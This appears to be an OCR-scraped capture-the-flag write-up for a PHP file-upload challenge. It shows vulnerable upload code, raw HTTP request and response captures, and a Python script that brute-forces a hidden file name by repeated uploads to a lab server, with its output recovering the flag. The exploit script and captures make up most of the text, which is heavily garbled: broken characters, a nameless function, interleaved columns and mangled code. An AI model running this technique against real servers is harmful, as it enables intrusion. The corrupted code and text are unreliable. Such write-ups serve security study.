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@move_uploaded_file($_FILES['file']['tmp_name'], $dir.$name);
echo " EA&ESI! \n\n3CHAZE: \n\n";

echo file_get_contents($dir.$name);

$files = glob($dir . '*');

@unlink($files[@]);
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$type = array("txt","");
$fileext = strtolower(fileext(@$_FILES['file']['name']));
if(in_array($fileext, $type)){

}
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<IDOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="" method="POST" enctype="multipart/form-data">

<input type="file" value="" name="uploaded">
<input type="text" value="1" name="Upload">
<input type="submit" value="submit" name="submit">
</form>
</body>
</html>
<?php
$html = "";
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path "upload/";
$target_path .= $_FILES[ 'uploaded' ][ 'name' ];
if( !'move_uploaded_file( $_FILES[ ‘'uploaded' ][ 'tmp_name' ], $target_path ) ) {

$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
$html .= "<pre>succesfully uploaded!</pre>";
echo file_get_contents($target_path);
$dir = "upload/";
$files = glob($dir . '*');
var_dump($files);
@unlink($files[@]);
var_dump($_FILES);
}
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chattr +i w3331c@met@@pwnhu66

LR B AR XA :

$files = glob($dir . '*');
@unlink($files[0]);
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HTTP/1.1 200 OK

POST /upload/up.php HTTP/1.1 A
Host: love.lemon:82 > Server: nginx/1.4.6 (Ubuntu)
Content-Length: 389 Date: Wed, 07 Dec 2016 11:17:51 GMT
Cache-Control: max-age=0 Content-Type: text/html
Origin: http://love.lemon:82 Content-Length: 631
Upgrade-Insecure-Requests: 1 Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) X-Powered-By: PHP/5.5.9-lubuntu4.19
AppleWebKRit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36 Vary: Accept-Encoding
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryvTm38ZMUMpyXhzhY <!DOCTYPE html>
Accept: <html>
text/html,application/xhtml+xml, application/xml;g=0.9,image/webp,*/*;q=0.8 <head>
Referer: http://love.lemon:82/upload/up.php <title></title>
Accept-Encoding: gzip, deflate </head>
Accept-Languages:s zh-CN,zh;g=0.8,en;g=0.6,zh-TW;g=0.4 <body>
Connection: close
<form action="" method="POST" enctype="multipart/form-data">
—————— WebKitFormBoundaryvTm38ZMUMpyXhzhY <input type="file" wvalue="" name="uploaded”>
Content-Disposition: form-data; name="uploaded”; filename="v" <input type="text" wvalue="1" name="Upload">
Content-Type: application/octet-stream <input type="submit" value="submit" name="submit">
</form>
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—————— WebRitFormBoundaryvTm38ZMUMpyXhzhY </body>
Content-Disposition: form-data; name="Upload” </html>
1 lllarray(2) {
—————— WebRitFormBoundaryvTm38ZMUMpyXhzhY [0]=>
Content-Disposition: form-data; name="submit” string(8) "upleocad/v”
[1]=>
submit string(26) "upload/w3331cOmetO0O0pwnhué6”
—————— WebRitFormBoundaryvTm38ZMUMpyXhzhY-— }
array(l) {
["uploaded”]=>
array(5) {
["name”]=>
string(l) "v"
["type”]=>
string(24) "application/octet-strsam”
- ["tmp_nams”]=>
v string(14) "/tmp/phpAjXOvVE”
POST /upload/up.php HTTP/1.1 A HTTP/1.1 200 OK
Host: love.lemon:82 - Server: nginx/1.4.6 (Ubuntu)
Content-Length: 389 Date: Wed, 07 Dec 2016 11:18:21 GMT
Cache-Control: max-age=0 Content-Type: text/html
Origin: http://love.lemon:82 Content-Length: 631
Upgrade-Insecure-Requests: 1 Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_11_6) X-Powered-By: PHP/5.5.9-lubuntu4.19
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 safari/537.36 Vary: Accept-Encoding
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryvTm38ZMUMpyXhzhY <1DOCTYPE html>
Accept: <html>
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;q=0.8 <head>
Referer: http://love.lemon:82/upleoad/up.php <title></title>
Accept-Encoding: gzip, deflate </head>
Accept-Language: zh-CN,zh;g=0.8,en;g=0.6,zh-TW;g=0.4 <body>
Connection: close
<form action="" method="POST" enctype="multipart/form-data”>
—————— WebKitFormBoundaryvTm38ZMUMpyXhzhy <input type="file" value="" name="uploaded">
Content-Disposition: form-data; name="uploaded”; filename="x" <input type="text” value="1" name="Upload">
Content-Type: application/octet-stream <input type="submit" value="submit" name="submit">
</form>
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—————— WebRitFormBoundaryvTm38ZMUMpyXhzhY </body>
Content-Disposition: form-data; name="Upload” </html>
! lllarray(2) {
—————— WebKitFormBoundaryvTm38ZMUMpyXhzhY [0]=>
Content-Disposition: form-data; name="submit" string(26) "upload/w333lcOmetOO0pwnhués™
[1]1=>
submit string(8) "upload/x"
—————— WebRKitFormBoundaryvTm38ZMUMpyXhzhY--
array(l) {
["uploaded”]=>
array(5) {
["name”]=>
string(l) "x”
["typs”]=>
string(24) "application/octet-stream”
e ["tmp_name”]=>
v string(l4) "/tmp/php9tIWOW”
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- import requests

untitled import time

payload = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://54.223.145.113:88/upload. php"

current_data = ""

def (current_data):
filename = current_data
for p in payload:
filename += p
file = {'file': (filename, 'test')}
r = requests.post(url, files=file)

urll = "http://54.223.145.113:88/upload/{filename}". format(filename=filename)
rl = requests.get(urll) -
if 'test' in rl.content:
return chr(ord(p)-1)
filename = current_data

for k in range(80):
current_data += check(current_data)
print "%dth data: %s" % (k,current_data)

data: w3
data: w33
data: w333
data: w3331l
data: w333lc
data: w3331co
data: w3331cOm
data: w3331cOme
data: w3331lcOmet
data: w3331lcOmet0
data: w3331lcOmet00d
data: w3331lclmet@@p
data: w3331lcOmet@@pw
data: w3331lc@met@@pwn
15th data: w3331c@met@@pwnh
16th data: w3331lc@met@@pwnhu
17th data: w3331lc@met@@pwnhub
18th data: w3331c@met@0pwnhu66
19th data: w3331cOmet@@pwnhu66/
Traceback (most recent call last):
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